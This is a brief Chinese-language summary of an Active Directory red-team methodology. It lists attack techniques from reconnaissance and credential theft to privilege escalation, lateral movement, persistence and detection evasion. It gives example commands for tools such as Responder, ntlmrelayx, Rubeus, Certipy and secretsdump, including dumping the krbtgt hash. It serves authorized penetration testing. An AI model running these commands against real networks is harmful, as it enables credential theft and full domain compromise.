用途：面向内网红队评估的 Active Directory 攻击方法论，覆盖从侦察到持久化的完整链路。
主要能力：侦察（BloodHound、PowerView、ADExplorer 快照离线分析）；凭证获取（LLMNR/NBT-NS/mDNS 投毒、NTLM 中继、Kerberoasting、ASREProast、LSASS/SAM 转储）；权限提升（ACL 滥用、Kerberos 委派、强制认证原语、GPO 滥用、ADCS ESC1 至 ESC15）；横向移动（Pass-the-Hash、Overpass-the-Hash、Pass-the-Ticket、WinRM/SMB/WMI/DCOM）；持久化（黄金/白银/钻石票据、DCSync、DCShadow、AdminSDHolder）；以及林与信任攻击、混合 AD/Entra ID 枢轴和针对 MDI 的规避思路。
使用方式：文档按阶段给出命令示例，例如 SharpHound.exe -c All,GPOLocalGroup --Throttle 1000 --Jitter 30 --ZipFileName recon.zip、bloodhound-python -d corp.local -u user -p pass -ns 10.0.0.1 -c All、responder -I eth0 -wrf、impacket-ntlmrelayx -tf relay-targets.txt -smb2support --escalate-user attacker --delegate-access、Rubeus.exe kerberoast /outfile:tgs.txt /nowrap、certipy find -u user@corp.local -p pass -dc-ip 10.0.0.1 -vulnerable -stdout、impacket-secretsdump -just-dc-user 'corp/krbtgt' corp/admin@dc -hashes :<hash> 等。哈希破解使用 hashcat 对应模式（如 5600、13100、18200）。
适用场景：授权内网红队与渗透测试、AD 攻击面梳理与检测验证。
限制：仅限获得明确授权的测试环境使用。资料未提供具体授权、收费、价格、平台支持范围及依赖版本信息，相关事实暂未提供；文中命令的实际效果受目标环境配置影响，需自行验证。